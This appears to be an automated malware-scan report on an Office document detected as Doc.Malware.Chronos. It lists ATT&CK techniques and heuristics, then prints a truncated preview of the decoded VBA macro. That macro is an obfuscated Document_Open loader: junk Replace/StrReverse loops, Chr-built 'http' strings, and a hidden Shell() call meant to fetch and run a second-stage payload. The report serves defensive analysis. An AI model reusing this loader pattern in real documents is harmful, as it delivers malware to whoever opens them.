MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains a VBA macro that is obfuscated and uses an auto-exec loader, specifically the Document_Open subroutine. This macro utilizes the Shell() function, indicating it is designed to execute external commands or payloads. The presence of ClamAV detection for 'Doc.Malware.Chronos-6897935-0' further confirms its malicious nature. The macro's primary function appears to be downloading and executing a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13484 bytes |
SHA-256: 8893df993c419f83d41dd80b8caa24cb696caf97ec20c0650c4f76dc53d1d733 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
For ixnEX = 0 To 305
nBqr = Replace("IwTwnVhjaAeOJyxjlGi", "IwTw", "YzsW")
nBqr = StrReverse("HjSVHSnnloKBD")
nBqr = Replace("wwgqlaZvPdXRaqmlLG", "wwgq", "kQzebjV")
nBqr = StrReverse("OlFokwtcJTnIxkIEMhh")
nBqr = Replace("eOGUqivgDkyZC", "eOGU", "iaYz")
nBqr = StrReverse("efBJurRSXRAd")
nBqr = StrReverse("EcSwIuWWLZVuAgx")
nBqr = StrReverse("CqUCEzZESZVJ")
nBqr = Replace("BZxpHSoqdjT", "BZxp", "Quccg")
If 1893233 = 157 - 4354 Then
pufWl = Replace("UtQJCBKhdJCHyV", "UtQJ", "fgFTSeJ")
pufWl = StrReverse("UtQJCBKhdJCHyV")
End If
nBqr = Replace("rDUphWhZnFuJqkh", "rDU", "rlYA")
nBqr = StrReverse("HAoLrYwkFXCLTU")
nBqr = StrReverse("pUozhfTmijs")
nBqr = StrReverse("UUkQOJCJKPjjcvGq")
If 1362732 = 23 - 1847 Then
tHnDF = Replace("ThmvnrjrvvPwBdpTpbb", "Thm", "MOWAIca")
tHnDF = StrReverse("ThmvnrjrvvPwBdpTpbb")
End If
nBqr = Replace("dglxkcdktqfeh", "dglx", "WWvnnW")
If 3360249 = 46 - 7031 Then
BHtAX = Replace("ufGobVvekxMG", "ufG", "kXHv")
BHtAX = StrReverse("ufGobVvekxMG")
vquvu = Replace("XurqBeohQbJceA", "Xur", "mbDH")
vquvu = StrReverse("XurqBeohQbJceA")
End If
If 705777 = 231 - 4670 Then
aoaKO = Replace("VLlUnjfYAP", "VLlU", "mGMcu")
aoaKO = StrReverse("VLlUnjfYAP")
wESGR = Replace("uUkdEeZMci", "uUk", "uZKK")
wESGR = StrReverse("uUkdEeZMci")
End If
nBqr = StrReverse("jaUzBTXqMMsPIf")
nBqr = Replace("ApRqdIWfjhxEBbBVygS", "ApR", "anUqs")
nBqr = Replace("kjsewhXxGFUGsW", "kjs", "cQdWmR")
If 2188846 = 214 - 2818 Then
OzDef = Replace("xScwGYjVJwzKQZJSiAX", "xScw", "FYXVSCz")
OzDef = StrReverse("xScwGYjVJwzKQZJSiAX")
AtnxG = Replace("RewVVhBZpmhkdHnuqvj", "Rew", "Lxpfw")
AtnxG = StrReverse("RewVVhBZpmhkdHnuqvj")
End If
nBqr = StrReverse("tIEdQkacHRcFdgpDC")
If 3067547 = 234 - 1854 Then
BlSRO = Replace("HwcyKuteDnIa", "Hwc", "qecsqO")
BlSRO = StrReverse("HwcyKuteDnIa")
Qucwm = Replace("WIAbliArLjurHVVAJE", "WIAb", "lflfEl")
Qucwm = StrReverse("WIAbliArLjurHVVAJE")
End If
nBqr = StrReverse("iTXSVIcjmyg")
Next ixnEX
While jPxv < 3678
If jPxv = 37 Then
VfZT = Replace("jwWtCEiFfa", "jwW", "lkWRs")
ElseIf jPxv = 2329 Then
VfZT = Replace("xotqtAfOPv", "xot", "BfYaZ")
ElseIf jPxv = 1639 Then
VfZT = Replace("LnlvPRJCrE", "Lnl", "KZvGs")
ElseIf jPxv = 3654 Then
Shell (StrReverse(StrReverse(JuDW))), 0
ElseIf jPxv = 3520 Then
EGPx = Replace(HLMI, ITg, Chr(104) + Chr(116) + Chr(116) + Chr(112))
ElseIf jPxv = 721 Then
VfZT = Replace("vfHvYSgoLx", "vfH", "vKlYd")
ElseIf jPxv = 3227 Then
Pzx = Replace(StrReverse(cOWValVsxo(1)), "MmOcs", "zeS")
ElseIf jPxv = 1890 Then
VfZT = Replace("FBSuTLZIzI", "FBS", "dPADp")
ElseIf jPxv = 987 Then
VfZT = Replace("mpIRROIcAZ", "mpI", "ViFds")
ElseIf jPxv = 340 Then
VfZT = Replace("JVcoLkdIIz", "JVc", "Kvwws")
ElseIf jPxv = 581 Then
VfZT = Replace("HYEeyoiTpr", "HYE", "JJAkF")
ElseIf jPxv = 3348 Then
ITg = Split(Replace(Pzx, "OUAui", "IYU"), Chr(123 + 1))(3 - 2)
ElseIf jPxv = 1922 Then
VfZT = Replace("bA
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.